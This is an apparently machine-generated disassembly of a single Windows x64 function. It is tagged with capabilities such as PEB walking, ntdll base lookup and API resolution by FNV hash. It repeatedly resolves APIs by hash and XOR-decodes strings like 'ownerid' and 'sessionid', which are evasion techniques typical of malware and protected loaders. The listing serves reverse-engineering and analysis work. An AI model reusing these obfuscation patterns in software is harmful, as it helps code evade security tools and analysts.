Function at 0x14010d800
Capabilities:
Access peb ldr_data
Enumerate gui resources
Get ntdll base address
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x16a8
call fcn.14017d4f0
sub rsp, rax
mov rax, qword [0x1404e4980]
xor rax, rsp
mov qword [rsp + 0x1690], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0xbc], 0
lea rax, [rsp + 0x129b]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x14010dc01
mov dword [rsp + 0x410], 0
mov rax, qword [rsp + 0xe48]
mov qword [rsp + 0x488], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x700], rax
mov rax, qword [rsp + 0x700]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x708]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x710]
mov qword [rsp + 0x1230], rax
mov rax, qword [rsp + 0x1230]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x13e0], rax
mov rax, qword [rsp + 0x230]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x230]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x718], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x718]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x5e0], rax
mov eax, dword [rsp + 0x5e0]
mov rcx, qword [rsp + 0x230]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x13e8], rax
mov eax, dword [rsp + 0x5e4]
mov dword [rsp + 0x13f0], eax
mov rax, qword [rsp + 0x13e0]
cmp qword [rsp + 0x13e8], rax
je 0x14010d97c
mov dword [rsp + 0x224], 1
jmp 0x14010d987
mov dword [rsp + 0x224], 0
movzx eax, byte [rsp + 0x224]
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x41]
test eax, eax
je 0x14010db94
mov rax, qword [rsp + 0x13e8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xac], eax
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0x4e0], eax
mov eax, dword [rsp + 0xac]
dec eax
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0x4e0], 0
je 0x14010db94
mov eax, dword [rsp + 0x688]
mov dword [rsp + 0x178], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x178], eax
mov rax, qword [rsp + 0xe50]
mov qword [rsp + 0x5e8], rax
mov rax, qword [rsp + 0x13e8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x13e0]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xac]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x13e0]
mov qword [rsp + 0x5e8], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x408], eax
mov rax, qword [rsp + 0x5e8]
mov qword [rsp + 0x478], rax
mov eax, dword [rsp + 0x178]
mov dword [rsp + 0x140], eax
mov rax, qword [rsp + 0x478]
movzx eax, byte [rax]
mov byte [rsp + 0x42], al
mov rax, qword [rsp + 0x478]
inc rax
mov qword [rsp + 0x478], rax
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x40], al
movsx eax, byte [rsp + 0x40]
test eax, eax
jne 0x14010dabf
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x40c], eax
jmp 0x14010db09
xor eax, eax
test eax, eax
je 0x14010dad6
movsx eax, byte [rsp + 0x40]
or eax, 0x20
mov dword [rsp + 0x17c], eax
jmp 0x14010dae2
movsx eax, byte [rsp + 0x40]
mov dword [rsp + 0x17c], eax
mov eax, dword [rsp + 0x17c]
mov ecx, dword [rsp + 0x140]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x140], eax
jmp 0x14010da7b
mov eax, dword [rsp + 0x408]
cmp dword [rsp + 0x40c], eax
jne 0x14010db8f
mov rax, qword [rsp + 0x13e8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x13e0]
mov qword [rsp + 0x728], rax
mov rax, qword [rsp + 0x13e8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x13e0]
mov qword [rsp + 0x720], rax
mov eax, dword [rsp + 0xac]
mov rcx, qword [rsp + 0x720]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x728]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x13e0]
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x730]
mov qword [rsp + 0x488], rax
jmp 0x14010dbe5
jmp 0x14010d9b2
mov rax, qword [rsp + 0x1230]
mov qword [rsp + 0x738], rax
mov rax, qword [rsp + 0x738]
mov rax, qword [rax]
mov qword [rsp + 0x740], rax
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0x1230], rax
mov byte [rsp + 0x43], 1
movzx eax, byte [rsp + 0x43]
test eax, eax
jne 0x14010d8cb
mov qword [rsp + 0x488], 0
mov eax, dword [rsp + 0x410]
mov dword [rsp + 0x414], eax
mov ecx, dword [rsp + 0x414]
call qword [rsp + 0x488]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x118], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x119], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11a], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11b], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11c], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11d], al
mov eax, 6
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11e], al
mov eax, 7
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x11f], al
mov eax, 8
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.ownerid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x120], al
mov byte [rsp + 0x121], 0
mov byte [rsp + 0x122], 1
lea rcx, [rsp + 0x118]
call fcn.140106870
mov qword [rsp + 0x630], rax
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x14010e150
mov dword [rsp + 0x428], 0
mov rax, qword [rsp + 0xe58]
mov qword [rsp + 0x4a0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x748], rax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x750], rax
mov rax, qword [rsp + 0x750]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x758], rax
mov rax, qword [rsp + 0x758]
mov qword [rsp + 0x1238], rax
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x238], rax
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x1308], rax
mov rax, qword [rsp + 0x238]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x760], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x760]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x5f0], rax
mov eax, dword [rsp + 0x5f0]
mov rcx, qword [rsp + 0x238]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1310], rax
mov eax, dword [rsp + 0x5f4]
mov dword [rsp + 0x1318], eax
mov rax, qword [rsp + 0x1308]
cmp qword [rsp + 0x1310], rax
je 0x14010decb
mov dword [rsp + 0x180], 1
jmp 0x14010ded6
mov dword [rsp + 0x180], 0
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x44]
test eax, eax
je 0x14010e0e3
mov rax, qword [rsp + 0x1310]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xb0], eax
mov eax, dword [rsp + 0xb0]
mov dword [rsp + 0x418], eax
mov eax, dword [rsp + 0xb0]
dec eax
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0x418], 0
je 0x14010e0e3
mov eax, dword [rsp + 0x68c]
mov dword [rsp + 0x184], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x184], eax
mov rax, qword [rsp + 0xe60]
mov qword [rsp + 0x5f8], rax
mov rax, qword [rsp + 0x1310]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x1308]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xb0]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x1308]
mov qword [rsp + 0x5f8], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x41c], eax
mov rax, qword [rsp + 0x5f8]
mov qword [rsp + 0x490], rax
mov eax, dword [rsp + 0x184]
mov dword [rsp + 0x144], eax
mov rax, qword [rsp + 0x490]
movzx eax, byte [rax]
mov byte [rsp + 0x45], al
mov rax, qword [rsp + 0x490]
inc rax
mov qword [rsp + 0x490], rax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x34], al
movsx eax, byte [rsp + 0x34]
test eax, eax
jne 0x14010e00e
mov eax, dword [rsp + 0x144]
mov dword [rsp + 0x420], eax
jmp 0x14010e058
xor eax, eax
test eax, eax
je 0x14010e025
movsx eax, byte [rsp + 0x34]
or eax, 0x20
mov dword [rsp + 0x188], eax
jmp 0x14010e031
movsx eax, byte [rsp + 0x34]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x188]
mov ecx, dword [rsp + 0x144]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x144], eax
jmp 0x14010dfca
mov eax, dword [rsp + 0x41c]
cmp dword [rsp + 0x420], eax
jne 0x14010e0de
mov rax, qword [rsp + 0x1310]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x1308]
mov qword [rsp + 0x770], rax
mov rax, qword [rsp + 0x1310]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x1308]
mov qword [rsp + 0x768], rax
mov eax, dword [rsp + 0xb0]
mov rcx, qword [rsp + 0x768]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x770]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x1308]
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x640]
mov qword [rsp + 0x4a0], rax
jmp 0x14010e134
jmp 0x14010df01
mov rax, qword [rsp + 0x1238]
mov qword [rsp + 0x780], rax
mov rax, qword [rsp + 0x780]
mov rax, qword [rax]
mov qword [rsp + 0x788], rax
mov rax, qword [rsp + 0x788]
mov qword [rsp + 0x1238], rax
mov byte [rsp + 0x46], 1
movzx eax, byte [rsp + 0x46]
test eax, eax
jne 0x14010de1a
mov qword [rsp + 0x4a0], 0
mov eax, dword [rsp + 0x428]
mov dword [rsp + 0x42c], eax
mov ecx, dword [rsp + 0x42c]
call qword [rsp + 0x4a0]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x140191bf4]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc0], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x140191bf4]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc1], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x140191bf4]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc2], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x140191bf4]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc3], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x140191bf4]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc4], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, [0x140191bf4]
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xc5], al
mov byte [rsp + 0xc6], 0
mov byte [rsp + 0xc7], 1
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x8d8], rax
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x14010e619
mov dword [rsp + 0x444], 0
mov rax, qword [rsp + 0xe68]
mov qword [rsp + 0x4b8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x790], rax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x798], rax
mov rax, qword [rsp + 0x798]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x7a0], rax
mov rax, qword [rsp + 0x7a0]
mov qword [rsp + 0x1240], rax
mov rax, qword [rsp + 0x1240]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x12d8], rax
mov rax, qword [rsp + 0x240]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a8], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x7a8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x600], rax
mov eax, dword [rsp + 0x600]
mov rcx, qword [rsp + 0x240]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12e0], rax
mov eax, dword [rsp + 0x604]
mov dword [rsp + 0x12e8], eax
mov rax, qword [rsp + 0x12d8]
cmp qword [rsp + 0x12e0], rax
je 0x14010e394
mov dword [rsp + 0x18c], 1
jmp 0x14010e39f
mov dword [rsp + 0x18c], 0
movzx eax, byte [rsp + 0x18c]
mov byte [rsp + 0x47], al
movzx eax, byte [rsp + 0x47]
test eax, eax
je 0x14010e5ac
mov rax, qword [rsp + 0x12e0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xb4], eax
mov eax, dword [rsp + 0xb4]
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0xb4]
dec eax
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0x438], 0
je 0x14010e5ac
mov eax, dword [rsp + 0x690]
mov dword [rsp + 0x190], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x190], eax
mov rax, qword [rsp + 0xe70]
mov qword [rsp + 0x608], rax
mov rax, qword [rsp + 0x12e0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x12d8]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xb4]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x12d8]
mov qword [rsp + 0x608], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x43c], eax
mov rax, qword [rsp + 0x608]
mov qword [rsp + 0x4a8], rax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x148], eax
mov rax, qword [rsp + 0x4a8]
movzx eax, byte [rax]
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x4a8]
inc rax
mov qword [rsp + 0x4a8], rax
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x35], al
movsx eax, byte [rsp + 0x35]
test eax, eax
jne 0x14010e4d7
mov eax, dword [rsp + 0x148]
mov dword [rsp + 0x440], eax
jmp 0x14010e521
xor eax, eax
test eax, eax
je 0x14010e4ee
movsx eax, byte [rsp + 0x35]
or eax, 0x20
mov dword [rsp + 0x194], eax
jmp 0x14010e4fa
movsx eax, byte [rsp + 0x35]
mov dword [rsp + 0x194], eax
mov eax, dword [rsp + 0x194]
mov ecx, dword [rsp + 0x148]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x148], eax
jmp 0x14010e493
mov eax, dword [rsp + 0x43c]
cmp dword [rsp + 0x440], eax
jne 0x14010e5a7
mov rax, qword [rsp + 0x12e0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x12d8]
mov qword [rsp + 0x7b8], rax
mov rax, qword [rsp + 0x12e0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x12d8]
mov qword [rsp + 0x7b0], rax
mov eax, dword [rsp + 0xb4]
mov rcx, qword [rsp + 0x7b0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x7b8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x12d8]
mov qword [rsp + 0x7c0], rax
mov rax, qword [rsp + 0x7c0]
mov qword [rsp + 0x4b8], rax
jmp 0x14010e5fd
jmp 0x14010e3ca
mov rax, qword [rsp + 0x1240]
mov qword [rsp + 0x7c8], rax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov qword [rsp + 0x7d0], rax
mov rax, qword [rsp + 0x7d0]
mov qword [rsp + 0x1240], rax
mov byte [rsp + 0x49], 1
movzx eax, byte [rsp + 0x49]
test eax, eax
jne 0x14010e2e3
mov qword [rsp + 0x4b8], 0
mov eax, dword [rsp + 0x444]
mov dword [rsp + 0x448], eax
mov ecx, dword [rsp + 0x448]
call qword [rsp + 0x4b8]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x128], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x129], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12a], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12b], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12c], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + reloc.WLDAP32.dll_Ordinal_301], al
mov eax, 6
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12e], al
mov eax, 7
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x12f], al
mov eax, 8
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x130], al
mov eax, 9
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x131], al
mov eax, 0xa
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.sessionid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0x132], al
mov byte [rsp + 0x133], 0
mov byte [rsp + 0x134], 1
lea rax, [rsp + 0x128]
mov qword [rsp + 0x8a8], rax
mov rax, qword [rsp + 0x16d0]
mov qword [rsp + 0x888], rax
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x14010ebc9
mov dword [rsp + 0x458], 0
mov rax, qword [rsp + 0xe78]
mov qword [rsp + 0x4d0], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x7d8], rax
mov rax, qword [rsp + 0x7d8]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x7e0], rax
mov rax, qword [rsp + 0x7e0]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x7e8], rax
mov rax, qword [rsp + 0x7e8]
mov qword [rsp + 0x1248], rax
mov rax, qword [rsp + 0x1248]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x12f0], rax
mov rax, qword [rsp + 0x248]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x248]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7f0], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x7f0]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x610], rax
mov eax, dword [rsp + 0x610]
mov rcx, qword [rsp + 0x248]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12f8], rax
mov eax, dword [rsp + 0x614]
mov dword [rsp + 0x1300], eax
mov rax, qword [rsp + 0x12f0]
cmp qword [rsp + 0x12f8], rax
je 0x14010e944
mov dword [rsp + 0x198], 1
jmp 0x14010e94f
mov dword [rsp + 0x198], 0
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x4a], al
movzx eax, byte [rsp + 0x4a]
test eax, eax
je 0x14010eb5c
mov rax, qword [rsp + 0x12f8]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0xb8], eax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x44c], eax
mov eax, dword [rsp + 0xb8]
dec eax
mov dword [rsp + 0xb8], eax
cmp dword [rsp + 0x44c], 0
je 0x14010eb5c
mov eax, dword [rsp + 0x694]
mov dword [rsp + 0x19c], eax
movabs rax, 0x67288136e6d2f59e
shr rax, 0x20
mov dword [rsp + 0x19c], eax
mov rax, qword [rsp + 0xe80]
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x12f8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x12f0]
add rcx, rax
mov rax, rcx
mov ecx, dword [rsp + 0xb8]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x12f0]
mov qword [rsp + 0x618], rax
movabs rax, 0x67288136e6d2f59e
mov ecx, 0xffffffff
and rax, rcx
mov dword [rsp + 0x450], eax
mov rax, qword [rsp + 0x618]
mov qword [rsp + 0x4c0], rax
mov eax, dword [rsp + 0x19c]
mov dword [rsp + 0x160], eax
mov rax, qword [rsp + 0x4c0]
movzx eax, byte [rax]
mov byte [rsp + 0x4b], al
mov rax, qword [rsp + 0x4c0]
inc rax
mov qword [rsp + 0x4c0], rax
movzx eax, byte [rsp + 0x4b]
mov byte [rsp + 0x36], al
movsx eax, byte [rsp + 0x36]
test eax, eax
jne 0x14010ea87
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x454], eax
jmp 0x14010ead1
xor eax, eax
test eax, eax
je 0x14010ea9e
movsx eax, byte [rsp + 0x36]
or eax, 0x20
mov dword [rsp + 0x1a0], eax
jmp 0x14010eaaa
movsx eax, byte [rsp + 0x36]
mov dword [rsp + 0x1a0], eax
mov eax, dword [rsp + 0x1a0]
mov ecx, dword [rsp + 0x160]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x160], eax
jmp 0x14010ea43
mov eax, dword [rsp + 0x450]
cmp dword [rsp + 0x454], eax
jne 0x14010eb57
mov rax, qword [rsp + 0x12f8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x12f0]
mov qword [rsp + 0x800], rax
mov rax, qword [rsp + 0x12f8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x12f0]
mov qword [rsp + 0x7f8], rax
mov eax, dword [rsp + 0xb8]
mov rcx, qword [rsp + 0x7f8]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x800]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x12f0]
mov qword [rsp + 0x808], rax
mov rax, qword [rsp + 0x808]
mov qword [rsp + 0x4d0], rax
jmp 0x14010ebad
jmp 0x14010e97a
mov rax, qword [rsp + 0x1248]
mov qword [rsp + 0x810], rax
mov rax, qword [rsp + 0x810]
mov rax, qword [rax]
mov qword [rsp + 0x818], rax
mov rax, qword [rsp + 0x818]
mov qword [rsp + 0x1248], rax
mov byte [rsp + 0x4c], 1
movzx eax, byte [rsp + 0x4c]
test eax, eax
jne 0x14010e893
mov qword [rsp + 0x4d0], 0
mov eax, dword [rsp + 0x458]
mov dword [rsp + 0x45c], eax
mov ecx, dword [rsp + 0x45c]
call qword [rsp + 0x4d0]
xor eax, eax
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf8], al
mov eax, 1
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xf9], al
mov eax, 2
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfa], al
mov eax, 3
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfb], al
mov eax, 4
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfc], al
mov eax, 5
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfd], al
mov eax, 6
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xfe], al
mov eax, 7
add rax, 0x70
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.fileid
movsx rcx, byte [rdx + rcx]
xor rcx, rax
mov rax, rcx
mov byte [rsp + 0xff], al
mov byte [rsp + 0x100], 0
mov byte [rsp + 0x101], 1
lea rax, [rsp + 0xf8]
mov qword [rsp + 0x868], rax
call fcn.1400fb7f0
movzx eax, al
test eax, eax
je 0x14010f0e8
mov dword [rsp + 0x46c], 0
mov rax, qword [rsp + 0xe88]
mov qword [rsp + 0x4e8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x820], rax
mov rax, qword [rsp + 0x820]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x828], rax
mov rax, qword [rsp + 0x828]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x830], rax
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0x1250], rax
mov rax, qword [rsp + 0x1250]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x1320], rax
mov rax, qword [rsp + 0x250]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x838], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x838]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x620], rax
mov eax, dword [rsp + 0x620]
mov rcx, qword [rsp + 0x250]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1328], rax
mov eax, dword [rsp + 0x624]
mov dword [rsp + 0x1330], eax
mov rax, qword [rsp + 0x1320]
cmp qword [rsp + 0x1328], rax
je 0x14010ee63
mov dword [rsp + 0x1a4], 1
jmp 0x14010ee6e
mov dword [rsp + 0x1a4], 0
movzx eax, byte [rsp + 0x1a4]
mov byte [rsp + 0x4d], al
movzx eax, byte [rsp + 0x4d]
test eax, eax
je 0x14010f07b
mov rax, qword [rsp + 0x1328]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x460], eax
